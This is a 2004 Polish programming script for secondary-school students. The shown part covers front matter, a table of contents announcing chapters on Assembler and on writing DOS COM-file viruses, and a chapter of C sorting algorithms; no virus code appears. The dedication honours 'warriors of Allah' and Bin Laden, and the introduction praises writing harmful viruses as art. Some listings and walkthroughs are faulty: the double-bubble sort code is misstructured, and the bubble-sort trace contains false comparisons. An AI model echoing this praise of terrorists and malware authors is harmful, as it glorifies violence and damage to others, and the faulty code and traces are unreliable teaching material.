
Piotr Ładyżyński

Michał Przyłuski

Dlaczego komiwojazer Bajtazar chodzi smutny?

SKRYPT DLA UCZNIÓW SZKÓŁ ŚREDNICH
ZAINTERESOWANYCH PROGRAMOWANIEM

DO WYKORZYSTANIA NA LEKCJACH
PRZEZ NASZEGO DROGIEGO MGR. KOSMAŁĘ

WARSZAWA 2004

Tu idą wszelkie informacje techniczne o książce, czyli np. data, miejsce wydania, wydawnictwo, copyrajty itp. Można tu też zamieścić jakąś odmianę streszczenia (taką z rodzaju tych umieszczanych na ostatniej stronie okładki). Nie wiem co jeszcze...

Copyright © 2004 by Piotr Ładyżyński and Michał Przyłuski.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiegokolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji i może podlegać sankcjom przewidzianym przez obowiązujące prawo. Dokonywanie kopii i jej rozpowszechnianie jest dopuszczalne tylko i wyłącznie w przypadku uzyskania pisemnej zgody od Autorów.

Skład i łamanie: Zespół, przy pomocy systemu składu tekstu \LaTeX
Lucky to be 'Set in Minion' and 'Set in GillSans', Adobe Inc. fonts.

Wersja: 0.97 minion+gillsans

*Dla wojowników Allaha, Bin Ladena, polskich i rosyjskich programistów wirusów,
Feynmana, Gaussa, Jaya Cutlera i grup asm_pl, virii_pl (świętej pamięci)
— Piotr Ładyżyński*

*Dla Ros
— Michał Przyłuski*

Spis treści

1	Wstęp	3
I	Algorytmy (Michał Przyłuski)	5
2	Wstęp	7
3	Sortowanie	9
3.1	Wstęp	9
3.1.1	Złożoność teoretyczna i praktyczna	10
3.1.2	Konwencje	11
3.2	Sortowanie przez wstawianie	11
3.2.1	Shell-sort	12
3.3	Sortowanie bąbelkowe	13
3.3.1	Double-bubble i Shaker-sort	14
3.4	Quick-sort	14
3.4.1	Quick + bubbles = Qubble	20
3.5	Sortowanie przez scalanie	20
3.6	Inne	22
3.6.1	Heap-sort	22
3.6.2	Selection-sort	23
3.6.3	Sortowanie kubełkowe	23
3.7	Przetwarzanie równoległe	25
3.7.1	Odd-Even Transposition Sort	26
3.7.2	Shear Sort	28
3.8	Podsumowanie	28
3.8.1	Pomiary praktyczne	29
II	Assembler i Wirusy (Piotr Ładyżyński)	31
4	Zbyt krótkie wprowadzenie do Assemblera	33
4.1	Krótki kurs Assemblera	33
4.1.1	Rejestry	33
4.1.2	Rejestry — specyfikacja architektury intela	34
4.1.3	Flagi — rejestr znaczników	36

4.1.4	Flagi — Rejestr znaczników — specyfikacja Intel 8086	37
4.1.5	Stos	38
4.1.6	CALL i RET — wywołanie funkcji i procedur	39
4.1.7	MOV — instrukcja przeniesienia	39
4.1.8	CMP i skoki warunkowe	40
4.1.9	TEST EAX,EAX — co to znaczy ?	42
5	Tańcząc z bajtami	45
5.1	Co to jest wirus komputerowy?	45
5.2	Epitafium dla DOSu	46
5.3	Co programista wirusów wiedzieć powinien	47
5.3.1	Wymagana znajomość Assemblera	47
5.3.2	Wymagana znajomość Pascala	48
5.3.3	Wymagana znajomość C i C++	48
6	Infekcja plików COM	49
6.1	Drogi ekspansji wirusów w systemie operacyjnym DOS	49
6.2	Budowa pliku COM	49
6.3	Budowa pliku COM w pamięci	52
6.3.1	Blok wstępny programu (PSP)	52
6.3.2	Ładowanie pliku COM	54
6.4	Infekcja plików COM przez nadpisanie	54
6.4.1	Kilka przydatnych funkcji i struktur	55
6.4.2	Przykład wirusa infekującego przez nadpisanie	57
6.5	Infekcja plików COM przez skok do wirusa	59
6.5.1	Piszemy wirusa	62
6.6	Infekcja plików COM przez przesunięcie kodu programu	70
6.6.1	Infekcja pliku	71
6.6.2	Kod źródłowy wirusa Nijamormoazazel_01	73

Spis tabel

3.1	Algorytmy sortowania opisane w książce	10
3.2	Algorytm kwadratowy i logarytmiczny dla małych n	11
4.1	Rejestry procesora	34
4.2	Rejestry procesorów Intel 80386 i wyższych	35
4.3	Skoki	42
6.1	Wygląd programu COM po załadowaniu do pamięci	53
6.2	Blok wstępny programu — PSP	54
6.3	Budowa bufora DTA	55
6.4	Przydatne funkcje (1)	56
6.5	Zawartość zarażonego pliku COM	60
6.6	Przydatne funkcje (2)	62
6.7	Przydatne funkcje (3)	71

Spis listingów

3.1.1 Podstawowe funkcje	12
3.2.1 Sortowanie przez wstawianie	12
3.2.2 Sortowanie Shell-sort	13
3.3.1 Sortowanie bąbelkowe	13
3.3.2 Double-bubble	15
3.3.3 Shaken not Stirred Sorting	16
3.4.1 QuickSort	17
3.4.2 Quicksort i sortowanie bąbelkowe	21
3.5.1 Sortowanie przez scalanie (1)	22
3.5.2 Sortowanie przez scalanie (2)	23
3.6.1 Sortowanie przez kopcowanie	24
3.6.2 Sortowanie przez wybieranie	25
3.7.1 Sortowanie Odd-Even	27

Przedmowa

Tą książką chcielibyśmy wyprzeć ze szkół Pascala, na rzecz C(++). Pokażemy, że te same algorytmy co w Pascalu można równie łatwo i przystępnie przedstawić w języku C.

Część poświęcona Assemblerowi i związanymi z nim zagadnieniami również może być bardzo pomocna w trakcie nauki w szkole. Jesteśmy przekonani, iż zrozumienie tajników tego języka, tak blisko przecież związanego z wewnętrzną budową komputerów, ułatwi Czytelnikom zrozumienie organizacji logicznej naszych domowych „blaszaków”. Już na wstępie należy zaznaczyć, iż wszystkie programy (tzn. napisane w dowolnym języku) są w trakcie kompilacji zamieniane na tzw. *kod maszynowy*. Jest on bardzo ściśle związany z Assemblerem, gdyż poszczególne instrukcje tego języka mają już swoje dokładne odpowiedniki w kodzie maszynowym. Oznacza to, iż proste programy Assemblerowe, prawdziwi zawodowcy są w stanie „z palca” zapisać w kodzie maszynowym (przy pomocy HexEditora).

Wymagania wstępne

Aby dobrze zrozumieć ten skrypt wymaganych jest kilka przymiotów. Podstawowym będzie oczywiście otwartość umysłu i zdolność do operowania na wysokim poziomie abstrakcji (danych, kodu i nie tylko :->).

Oдноśnie Algorytmów niewątpliwie przydatna okaże się choćby elementarna znajomość C lub C++, chociaż wystarczy zamiast tego znajomość Javy. Jeśli ktoś nie zna ani C ani C++ to polecamy lekturę książki Kernighan i Ritchie na temat języka ANSI C — [3] (lub pierwsze wydanie [2] o tzw. K&R C) lub [4] o C++. Zasadniczo każdy rozsądny język wysokiego poziomu powinien być OK. Prawdziwi twardziele mogą pisać w Adzie, chociaż osobiście takich nie znam.

Co do części o Assemblerze to oczywiście znajomość Assemblera, względnie WinAssemblera. Szczegółowe wymagania są na str. 47.

P. Ł. i M. P.
Warszawa, 2004 r.

Rozdział I

Wstęp

Język C powstał w czasach zamierzchłej przeszłości. Został on przez dekady unowocześniony i nieźle udokumentowany. Pozwoliło mu to zachować formę i stać najpowszechniej stosowanym językiem programowania również na początku XXI wieku. Jego ugruntowana pozycja pozwala przypuszczać, iż tendencja ta nie ulegnie zmianom w ciągu najbliższych lat.

Od początku swojego istnienia, język C był obecny w środowisku naukowym i akademickim. Nie był on jednak powszechny w szkołach średnich. Przez dziesięciolecia w liceach dominował (i dominuje) Pascal. Jest on niewątpliwie językiem dobrym do prezentacji algorytmów, jednakże nie nadaje się praktycznie do tworzenia jakichkolwiek prawdziwych programów. A chyba nie chodzi o wtłoczenie do uczniowskich głów bezwartościowych informacji o algorytmach, tylko o nauczanie ich podstaw programowania. A tego w Pascalu nie da się zrobić.

O ważnej roli jaką odgrywa język C we współczesnym świecie szeroko pojętej informatyki nie trzeba nikogo przekonywać. Jednakże każdy uczeń, chcący się nauczyć tego języka napotka na setki trudności. Najpierw w szkole wmówią mu, że najlepszy jest Pascal. Gdy jednak nawet nasz uczeń się zbuntuje i postanowi pisać wszystko to co miał pisać w Pascalu w C natrafi na kolejny problem. Jak zapisać szkolne algorytmy i struktury danych w C?

Tutaj właśnie wkracza nasza książka. Zakładając elementarną praktyczną znajomość C, zaprezentujemy najważniejsze algorytmy i struktury danych spotykane na codzień w szkole i nie tylko. A o tym, że

$$\text{algorytmy} + \text{struktury danych} = \text{programy} \quad (1.1)$$

, nie trzeba chyba nikogo przekonywać.

Podobna sytuacja ma miejsce odnośnie wirusów i Assemblera. Może się to komuś wydać straszne; pisanie programów wyrządzających innym krzywdę, lecz należy to potraktować jako „sztuka dla sztuki”. Czyż nie jest piękne, gdy ledwo 12kB wirus powoduje zamęt ([1]), o którym usłyszymy w BBC ? Trzeba pamiętać jednak ile czasu zostało poświęcone na te marne 12kB kodu wynikowego; setki i tysiące linii kodu źródłowego, nie przespane noce, litry kawy...

Część I
Algorytmy

Rozdział 2

Wstęp

Algorytmy. Bardzo trudno jest omówić cały rozległy problem algorytmiki. Na początek: co to jest? Jest to nauka zajmująca się między innymi tworzeniem i analizą pewnych schematów postępowania (zwanymi algorytmami). Z algorytmami mamy bardzo często do czynienia, np. podczas parzenia herbaty czy kawy. Za każdym razem postępujemy według tego samego lub bardzo podobnego schematu.

Podobnych schematów wymagają komputery. W tej części zaprezentujemy kilkanaście najważniejszych i najciekawszych algorytmów. W pierwszym rozdziale tej części będą to algorytmy sortowania. W dalszych planujemy poruszyć temat przeszukiwania (tekstów i posortowanych tablic liczb całkowitych), a także objaśnić pojęcie rekurencji. Przy okazji rekurencji zaprezentujemy ideę i podstawowe metody technik zwanych „dziel-i-zwyciężaj” oraz programowania dynamicznego.

Rozdział 3

Sortowanie

Problem uporządkowania pewnych danych od stuleci gnębił ludzkość. Problem ten stał się tak uporczywy, iż stworzono komputer. Miał on za zadanie ułatwić szeroko pojęte przetwarzanie danych. Wiązało się to również z koniecznością sortowania pewnych danych.

3.1 Wstęp

Sortowanie jest więc bez wątpienia najbardziej fundamentalnym problemem algorytmicznym.

1. Prawdopodobnie ok. 25% czasu Twojego procesora jest spędzane na sortowanie.
2. Sortowanie jest fundamentem dla innych problemów algorytmicznych, np. przeszukiwania binarnego.
3. Wiele różnych podejść doprowadza do wielu różnych algorytmów sortowania, a te pomysły mogą być użyte też bardziej ogólnie.

Tak precyzyjnie: Co to jest sortowanie? *Sortowanie jest problemem wybierania dowolnej permutacji n -elementowej i ułożenia jej do globalnego porządku.*

$$X_i \geq X_j \Leftrightarrow i \geq j$$

To równanie oznacza, iż i jest większe od j wtedy i tylko wtedy, gdy X_i jest większe od X_j , gdzie oznaczają one odpowiednio i -ty i j -ty element tablicy (lub ciągu w języku matematycznym) X . Tak więc w rzeczywistości wyżej wymienione równanie jest związane z pojęciem ciągu monotonicznego, a dokładniej rzecz biorąc *ściśle rosnącego*. Jak wiemy z lekcji matematyki w takim ciągu wzrost indeksu zawsze wiąże się ze wzrostem wartości wyrazu ciągu.

Podstawową książką o sortowaniu jest oczywiście **Donald Knuth, *The Art of Computer Programming, Volume 3: Sorting and Searching*, Addison-Wesley.**

Przez ostatnie półwiecze stworzono wiele algorytmów sortowania. Część z nich okazała się „łatwa, miła i przyjemna” podczas gdy inna część wiązała się z „potem, krwią i łzami”. Postaramy się tu przedstawić zarówno te prostrze, jak i te mniej przyjemne, ale w jak najbardziej przystępnej formie. Podstawowym kryterium wyboru algorytmów do tego opracowania nie była jednak ani ich szybkość (jest tu np. sortowanie przez wstawianie) ani prostota (HeapSort, sortowanie przez wytrząsanie) ale *piękno*. Kierowałem się tym samym (względny) pięknem, które jest w tytule

	Nazwa główna	Nazwy inne	Rozdział
Sortowanie	przez wstawianie	Insertion-sort	3.2
	Shell'a	Shell-sort	3.2.1
	bąbelkowe	Bubble-sort; bubbles	3.3
	przez wytrząsanie	Shaker-sort	3.3.1
	dwu-bąbelkowe	Double-bubble-sort; Bi-directional-bubble-sort	3.3.1
	szybkie	QuickSort; qsort	3.4
	szybkie i bąbelkowe	Qubble	3.4.1
	przez scalanie	Merge-sort	3.5
	przez kopcowanie	stertowe; Heap-sort	3.6.1
	przez wybieranie	Selection-sort	3.6.2
	kubelkowe	bucket sort	3.6.3
	parzysto-nieparzyste	Odd-Even Transposition Sort	3.7.1
	przez wycinanie	Shear Sort	3.7.2

Tabela 3.1: Algorytmy sortowania opisane w książce

Knuth'a, a więc pięknem w znaczeniu sztuki. Tak więc dobór algorytmów jest bardzo subiektywny, często nie poparty żadnymi racjonalnymi podbudkami.

Jak łatwo zauważyć „algorytm sortowania” nie jedno ma imię. Każdy, nawet prosty, żeby nie powiedzieć prostacki (np. M\$ Excel) lub bardziej rozbudowany (np. OpenOffice.org Calc) akursz kalkulacyjny oferuje nam wiele metod sortowania. Nie mam tu na myśli różnych *algorytmów* sortowania, lecz np.: kolejność (rosnąca/malejąca). Podobne możliwości ma baza danych. Tyczy to się każdej tj. prawdziwa oparta na SQL'u jako takim (np. PostgreSQL, Oracle 9i) lub prosty M\$ Access. Tutaj sortowanie zazwyczaj odbywa się podług jakiegoś konkretnego pola, a nie całego rekordu.

Na wstępie podam wykaz (tabelka 3.1) algorytmów, które opiszę, wraz z ich alternatywnymi nazwami. Będę się nimi stosunkowo często posługiwać, aby uniknąć powtórzeń.

3.1.1 Złożoność teoretyczna i praktyczna

W celu porównywania algorytmów został wprowadzony sposób na określenie dla każdego z nich wielkości zwanych złożonością teoretyczną i praktyczną. Obie one pozwalają z dużą dokładnością stwierdzić, który algorytm okaże się szybszy. Zamieszczę tutaj krótki wstęp w ten temat, jednak bez wprowadzania całego aparatu matematycznego wymaganego do pełnego zrozumienia opisywanych zagadnień. Postaram się przedstawić jedynie *praktyczną* stronę obu złożoności.

Zasadniczo rzecz biorąc złożoność (praktyczna i teoretyczna) jest to pewnego rodzaju prognozowany czas wykonania danego algorytmu. A zatem *złożoność jest to pewna funkcja ilości danych początkowych*. W przypadku złożoności teoretycznej najbardziej interesuje nas klasa funkcji jakiej jest nasza, oznaczana przez $O(n)$, funkcja. Szczególnie często mamy do czynienia z funkcjami $O(n^2)$, $O(n \log n)$, $O(n)$, $O(a^n)$, itp. Oznacza to, że np. dla funkcji klasy $O(n^2)$ jeśli zwiększymy ilość danych (n) 5-krotnie to czas wykonania wzrośnie 5^2 -krotnie.

Złożoność teoretyczna powinna również obrazować ilość elementarnych operacji (np. porównania, przypisania) potrzebnych w zależności od ilości danych do wykonania algorytmu. Lepiej to

oddaje złożoność praktyczna $T(n)$. Podczas gdy całe $O(n)$ z reguły pozostaje bez żadnych współczynników, to $T(n)$ może być np. $T(n) = 5n^2 + 4 \log_{2/3} n + n + 4$. Jak widać, odpowiadające mu O , to $O(n) = n^2$, czyli w skrótowo rzecz ujmując algorytm ten jest klasy $O(n^2)$.

Warto tu zauważyć, że notacja O jest słuszna dla „dość dużych” n . Porównując dwa algorytmy przy pomocy T , dla zbyt małych n , może się okazać, że quicksort jest wolniejszy od bąbelków...

Jednakże nie jest to zła właściwość. Porównajmy algorytm $T(n^2/4)$ i $T(n \lg n)$. Okazuje się, że dla $n < 16$ szybszy jest ten kwadratowy! Prezentuje to tabela 3.2. Widzimy jednocześnie, że dla np. 100 różnica między kwadratowym i logarytmicznym zaczyna być duża.

n	$n^2/4$	$n \lg n$
5	7	20
10	25	33
16	64	64
100	2500	664

Tabela 3.2: Algorytm kwadratowy i logarytmiczny dla małych n

Z tej własności korzystają algorytmy mieszane takiej jak chociażby Qubble (skrzyżowanie QuickSorta i bąbelków). Takie „hybrydy” możemy sami tworzyć jeśli tylko uznamy, że przyspieszy to wywołanie algorytmu. Szczególnie często możemy natrafić na wykorzystania algorytmów $O(n^2)$ dla małych tablic w algorytmach $O(n \log n)$.

3.1.2 Konwencje

Dla ułatwienia, początkowo wszystko będzie się działo na tablicach o ustalonych wymiarach składających się z liczb stałoprzecinkowych, a więc `int`.

Ponadto w kodach źródłowych będę stosował pewne stałe funkcje. Zostały one zamieszczone w listingu 3.1.1.

Mam nadzieję, iż dla nikogo nie stanowią one zagadki. Jedynie warto wspomnieć o zawartości `main()`. Zadeklarowana została w nim przykładowa tablica, która będzie podlegała sortowaniu. Zawiera ona też lapidarnie określoną funkcję sortującą. Najczęściej `sortuj()` zostanie zastąpione przez nazwę algorytmu sortującego i wywołane z takimi samymi argumentami. Jednakże w przypadku kilku algorytmów, w których konieczne jest podanie początku i końca tablicy argumenty te zostaną odpowiednio zmodyfikowane, chociaż nie podejrzewam aby komukolwiek zrodziły się wątpliwości odnośnie ich użycia.

3.2 Sortowanie przez wstawianie

Najprostrzym koncepcyjnie algorytmem sortowania jest *sortowanie przez wstawianie*. W dużym skrócie można powiedzieć, że bierzemy kolejne elementy tablicy i wkładamy je w odpowiednie miejsce. Jest to już to miejsce, w którym się znajdują po całkowitym posortowaniu. Kod źródłowy przedstawia listing 3.2.1.

Listing 3.1.1 Podstawowe funkcje

```
#define MAX 12

void zamien(int *tab, int co, int zczym) {
    int temp = tab[co];
    tab[co] = tab[zczym];
    tab[zczym] = temp;
} /* koniec zamien */

int main(){
    int tab[]={2, 5, 9, 3, 6, 1, 9, 18, 4, 7, 17, 5};

    wypisz_tablice(tab, MAX);
    sortuj(tab, MAX); //czasem sortuj(tab, 0, MAX);
    wypisz_tablice(tab, MAX);
    return 0;
} /* koniec main */
```

3.2.1 Shell-sort

Shellsort jest prostym rozwinięciem sortowania przez wstawianie. Zyskuje on na prędkości umożliwiając zamianę elementów tablicy będących znacznie oddalonych. Ideą algorytmu jest dążenie do takiego ustawienia danych, że każdy k -ty element tablicy (będący gdziekolwiek) rozpoczyna posortowaną tablicę. Nazywamy wtedy taką tablicę k -posortowaną.

Dzięki dokonywaniu k -sortowania dla pewnych dużych wartości k przenosimy elementy w tablicy na duże dystanse i dzięki temu jest ją łatwiej posortować dla mniejszych k . Gdy będziemy postępować w ten sposób dla dowolnego ciągu wartości k , który będzie się kończył 1 otrzymamy posortowaną tablicę. Algorytm został przedstawiony na listingu 3.2.2.

Listing 3.2.1 Sortowanie przez wstawianie

```
void insertionsortuj(int *tab, int ile){
    for (int i = 0; i < ile; i++){
        int j = i;
        int temp = tab[i];
        while ((j > 0) && (tab[j-1]) > temp) {
            tab[j]=tab[j-1];
            j--;
        }
        tab[j] = temp;
    }
} /* koniec insertionsortuj */
```

Listing 3.2.2 Sortowanie Shell-sort

```

void shellsortuj(int *tab, int ile){
    int h = 1;
    while ((3 * h + 1) < ile)
        h = 3 * h + 1;

    while (h > 0){
        for (int i = h - 1; i < ile; i++){
            int b = tab[i];
            int j = i;
            for (j = i; (j >= h && tab[j-h] > b); j-=h )
                tab[j] = tab[j-h];

            tab[j] = b;
        }
        h = h / 3;
    }
} /* koniec shellsortuj */

```

3.3 Sortowanie bąbelkowe

Sortowanie bąbelkowe jest kolejnym prostym algorytmem. Konceptyjnie jest ono prostrze od sortowania przez wstawianie. Wyobraźmy sobie tym razem tablicę do posortowania nie w poziomie, lecz w pionie; zaczynając od 0. Funkcja sortująca składa się z dwóch pętli. Jak całość działa? Najlepiej zobrazuje to listing 3.3.1.

Listing 3.3.1 Sortowanie bąbelkowe

```

void babelkuj(int *tab, int ile){
    for (int i = 1; i < ile; i++)
        for (int j = ile-1; j >= i; j--)
            if (tab[j] < tab[j-1])
                zamien(tab, j, j-1);
}

```

Chyba każdy przyzna, że zapis jest prosty. W zasadzie całość zajmuje 4 linijki. Jestem przekonany, że nie ma drugiego tak krótkiego algorytmu.

Zanalizujmy zatem funkcję `sortuj()`. Pętla zmiennej `i` za każdym przejściem pętli zmniejsza (od góry) analizowany obszar tablicy. Natomiast pętla zmiennej `j` jest odpowiedzialna za porównywanie elementów dolnego i znajdującego się nad nim. Główną ideę tego algorytmu można sprowadzić do następującego stwierdzenia. Jeśli w komórce o indeksie i_{k-1} (czyli w komórce „ponad” i_k) jest większa wartość niż w i_k to następuje ich zamiana.

Spróbujmy ręcznie przesortować coś takiego: `int tab[]={5, 7, 2, 1, 4}`; Najpierw `i` wskazuje na zerowy element tablicy, a `j` jest w stanie przebiec całą tablicę (oczywiście od końca).

Najpierw dokonywane jest porównanie między 4 i 1. Są one już ułożone (1 ponad 4), więc nie jest dokonywana żadna zamiana. Teraz indeks j maleje o 1 i dokonujemy porównania między 1 i 2. Tutaj kolejność jest zła, więc zamieniamy je. Po tych dwóch operacjach tablica wygląda następująco: 5, 7, 1, 2, 4. Tak więc tablica już jest „trochę” posortowana. Sortujemy dalej. Porównujemy 7 i 1, zamieniamy je, porównujemy 5 i 1, zamieniamy je. Teraz 1 znajduje się już na początku tablicy, j przebiegło całą tablicę, więc indeks i rośnie o 1, aby nie analizować tego przesortowanego fragmentu tablicy (aktualnie jest to tylko komórka o numerze 1).

Rozpoczynamy drugi przebieg, tym razem już tylko na 4 dolnych komórkach tablicy. $4 > 2$, więc zamiana jest nie potrzebna, $7 < 2$, zamieniamy, $5 < 2$, zamieniamy. Teraz sytuacja jest następująca: 1, 2, 5, 7, 4. Rozpoczynamy trzeci przebieg, analizie podlegają tylko 3 ostatnie komórki tablicy, bo $i = 1$, czyli wskazuje na pierwszą komórkę do analizy (komórka druga). Teraz 4 zamieniamy najpierw z 7, a potem z 5 i na tym się zamiany kończą. Pozostałe przebiegi pętli są marnowane na upewnienie się, że dane zostały posortowane.

Aby podsumować; w każdym przebiegu, przy każdym porównaniu, mniejsza z dwóch liczb idzie do góry.

3.3.1 Double-bubble i Shaker-sort

Double-bubble można określić mianem podwójnego sortowania bąbelkowego. Oznacza to to samo co „*Bi-directional bubble sort*”, a więc dwu-kierunkowe sortowanie bąbelkowe. Zostało ono przedstawione na listingu 3.3.2.

Nieco odmienną rzeczą jest tzw. sortowanie przez wytrząsanie, zwane powszechnie *ShakeSort*. Częściowo ono przypomina wspomniane wyżej *DoubleBubble*. Proponuję najpierw spojrzeć na listing 3.3.3.

Jak widać, mimo pozornego podobieństwa, algorytm się różni. Sortowanie przez wytrząsanie w każdym przebiegu poszukuje jednego elementu największego i najmniejszego. Gdy je znajdzie następują odpowiednie zamiany, a więc najmniejszego z początkiem tablicy, a największego z końcem. Te ekstremalne elementy są poszukiwane tylko w ramach przebiegów w jednym kierunku.

Sortowanie dwubąbelkowe przemierza tablicę w dwie strony. Wędrując w górę, tak jak klasyczne bąbelki, przestawia lżejsze elementy do góry. Gdy dotrze do końca tablicy zmienia kierunek przeglądania i spycha cięższe liczby w dół.

Jak łatwo zauważyć oba algorytmy są koncepcyjnymi rozwinięciami sortowania bąbelkowego. Są one szybsze od klasycznego sortowania bąbelkowego jednakże nie zmieniają jego klasy, tzn. nadal są $O(n^2)$. Warto dodać, iż są one tak bliskie koncepcyjnie, iż często są mylone. Ponadto trudno podać jednoznaczne nazewnictwo. Podział na „wytrząsanie” i „dwu-bąbelkowe” jest bardzo płynny. Prawda jest taka, iż można nawet uznać je za jeden algorytm, a listingi 3.3.3 i 3.3.2 jedynie przedstawiają dwie jego różne implementacje.

3.4 Quick-sort

Quick sort należy do grupy szybkich algorytmów $O(n \log n)$. Jest on w praktyce najszybszym algorytmem sortowania.

Listing 3.3.2 Double-bubble

```
void dbsortuj (int *tab, int ile){
int j;
int limit = ile;
int st = -1;
int flipped; /* zamiast boolean, 0 - falsh, 1 - richtig */

while (st < limit){
    flipped = 0;
    st++;
    limit--;
    for (j = st; j < limit; j++){
        if (tab[j] > tab[j+1]){
            zamien(tab, j, j+1);
            flipped = 1;
        }

        if (!flipped)
            return;

        for (j = limit; --j >=st; )
            if (tab[j] > tab[j+1]){
                zamien(tab, j, j+1);
                flipped = 1;
            }
    }

} // koniec while
} /* koniec dbsortuj */
```

Listing 3.3.3 Shaken not Stirred Sorting

```
void shakessortuj(int *tab, int ile){
int i = 0;
int k = ile - 1;

while (i < k){
int min = i;
int max = i;
int j;

for (j = i+1; j <= k; j++){
    if (tab[j] < tab[min])
        min = j;
    if (tab[j] > tab[max])
        max = j;
}

int temp = tab[min];
tab[min] = tab[i];
tab[i] = temp;

if(max == i){
    zamien(tab, min, k);
}else{
    zamien(tab, max, k);
}

i++;
k--;
} /* koniec while głównego */
} /* koniec shakessortuj */
```

Sam algorytm jest z pozoru niejasny, krótki i jakiś dziwny. Prawie nic nie zamienia, a jednak działa. Kod źródłowy znajduje się na listingu 3.4.1. Wymaga on dogłębnego zrozumienia.

Listing 3.4.1 QuickSort

```
void qsortuj(int *tab, int lewa, int prawa){
if (lewa < prawa) {
    int m = lewa;
    for (int i = lewa+1; i <= prawa; i++)
        if (tab[i] < tab[lewa])
            zamien(tab, ++m, i);

    zamien(tab, lewa, m);
    qsortuj(tab, lewa, m-1);
    qsortuj(tab, m+1, prawa);
} /* koniec if'a głównego */
} /* koniec sortuj */
```

Warto przy okazji zwrócić uwagę, iż *QuickSort* stosuje technikę znaną jako „dziel-i-zwyciężaj”. Zasadniczo polega ona na dzieleniu problemu na mniejsze. Szerzej o niej można poczytać w rozdziale 3.7 „Przetwarzanie równoległe” na str. 25

Wracając do qsorta: co robimy aby presortować coś *QuickSortem*? Musimy znaleźć sobie jakiś element osiowy (ang. *pivot*), a następnie podzielić daną tablicę na 2 „podtablice”: jedną zawierającą elementy mniejsze od osiowego, i drugą zawierającą większe. Teraz na każdym tym kawałku ponownie aplikujemy nasz algorytm. Kluczowe dla tej metody sortowania jest to w jaki sposób wybieramy element osiowy, jak również jak technicznie realizujemy ów podział na dwie mniejsze tablice. Dla ułatwienia opisu tego algorytmu przyjmijmy, że elementem osiowym będzie `tab[lewy]`. Celowo nie piszę `tab[0]`, gdyż nasza funkcja będzie później wywoływana od fragmentów tablicy o indeksie nie zaczynającym się od 0.

Tak więc przystępujemy do porównywań. Jeśli to co jest na prawo od analizowanego elementu jest od niego mniejsze to należy je jakoś przemieścić. Jest to realizowane poprzez zachowywanie (w zmiennej `m`) adresu ostatniej zmiany. Wynika z tego, że w `tab[m]` i na lewo od niego są wartości mniejsze od osiowego, a na prawo większe.

Jeśli ktoś nie zrozumiał to zacznijmy od początku jeszcze raz:

W trakcie swojego działania, podobnie jak wiele innych „szybkich” algorytmów, wywołuje on swoją funkcję sortującą na jakiś fragmentach tablicy. (Takie podejście jest silnie związane z pojęciem rekurencji.) Zasadniczo można powiedzieć, iż dąży on do podzielenia całej tablicy na mniejsze fragmenty w celu ułatwienia jej analizy. Jego główną ideą jest więc dzielenie problemu na mniejsze.

Przykład: 0ś ok. 10

```
17 12 6 19 23 8 5 10 - przed
6 8 5 10 23 19 12 17 - po
```

Dzielenie powoduje, iż wszystkie elementy mniejsze od osiowego znajdują się na lewo od niego;

większe na prawo; a osiowy dokładnie między nimi. Warto zauważyć, że element osiowy znajduje się już po pierwszym przebiegu w swoim finalnym położeniu.

Jak przebiega samo sortowanie? Jak już wybierzemy element osiowy możeby przystąpić do podziału. W jednym liniowym przejściu po tablicy dzielimy ją na 3 obszary: mniejszy od pivot, większy od pivot i niezbadany.

Przykład: 0ś ok. 10

```

| 17  12  6  19  23  8  5 | 10
|  5  12  6  19  23  8 | 17
  5 | 12  6  19  23  8 | 17
  5 | 8  6  19  23 | 12  17
    5  8 | 6  19  23 | 12  17
    5  8  6 | 19  23 | 12  17
    5  8  6 | 23 | 19  12  17
    5  8  6 || 23 | 19  12  17
    5  8  6  10  19  12  17  23

```

Gdy przeglądamy od lewej do prawej przesuwamy też lewy koniec tablicy do prawej gdy element tam jest mniejszy od pivot'a. W przeciwnym wypadku zamieniamy go z najbardziej prawym elementem tablicy należącym do niezbadanego obszaru i przesuwamy prawy brzeg tablicy jedną pozycję w lewo.

Ponieważ podział wymaga maksymalnie n zamian, zajmuje to liniowy czas, aby podzielić tablicę. Co to daje ponadto?

1. Element osiowy znajduje się w swojej finalnej pozycji.
2. Po podziale żadne elementy z „lewej” strony nie będą musiały być zamienione z żadnymi elementami z „prawej” strony, ani *vice versa*.

Dzięki tym dwóm cechom można lewy i prawy obszar tablicy sortować w pełni niezależnie. To daje nam właśnie rekurencyjny algorytm sortowania, gdyż możemy stosować nasze podziałowe podejście aby przesortować każdy podproblem.

Zanalizujmy teraz jak kształtuje się wydajność tego algorytmu dla różnych przypadków.

Najlepszy przypadek

Najlepszy przypadek dla algortymów „dziel-i-zwyciężaj” ma miejsce gdy problem dzielimy tak równo jak to tylko możliwe. A więc gdy każdy podproblem jest dokładnie o rozmiarze $n/2$.

Wysilek każdego podziału na podproblemy jest liniowy względem jego rozmiaru. Wynika z tego, iż całkowity koszt podziału 2^k problemów o rozmiarze $n/2^k$ wynosi $O(n)$.

Całkowitych podziałów na każdym poziomie jest $O(n)$. Zajmie nam dokładnie $\log n$ podziałów (idealnych, a więc na pół) aby rozłożyć problem początkowy na jednostkowe podproblemy. Gdy dotrzemy do takiego podziału to elementy są już posortowane. Wynika z tego, iż całkowity czas dla najlepszego przypadku wyniesie $O(n \log n)$.

Najgorszy przypadek

Załóżmy teraz, że nasz element osiowy dzieli tablicę tak nierówno jak to tylko możliwe. Przez to zamiast $n/2$ elementów w jednej połowie, mamy ich tam 0. Oznacza to, iż pivot jest najmniejszy (lub największy) na analizowanym fragmencie tablicy. A ponieważ takie „złe” podziały miałyby mieć miejsce na całej tablicy wynika z tego, że źle jest gdy element osiowy jest jednym z ekstremalnych elementów tablicy.

Oznacza to, iż mamy $n - 1$ poziomów rekurencji (zamiast $\log n$). Wynika z tego, że (podobną metodą jak dla najlepszego przypadku) złożoność dla najgorszego przypadku to $O(n^2)$. Można do tego łatwo dojść, gdyż dla pierwszych $n/2$ poziomów każdy ma $\geq n/2$ elementu do podziału.

A zatem najgorszy przypadek dla QuickSort’a daje gorszy wynik niż HeapSort lub MergeSort.

Średni przypadek

Jednakże, aby uzasadnić jego nazwę QuickSort jest lepszy dla średniego przypadku. Pokazanie tego wymaga nieco dogłębniejszej analizy.

Zasada „dziel-i-zwyciężaj” ma również swoje podstawy w rzeczywistym życiu. Jeśli podzielimy naszą pracę na mniejsze części to najlepiej nam pójdzie jeśli uczynimy te nowe części (podproblemy) równe.

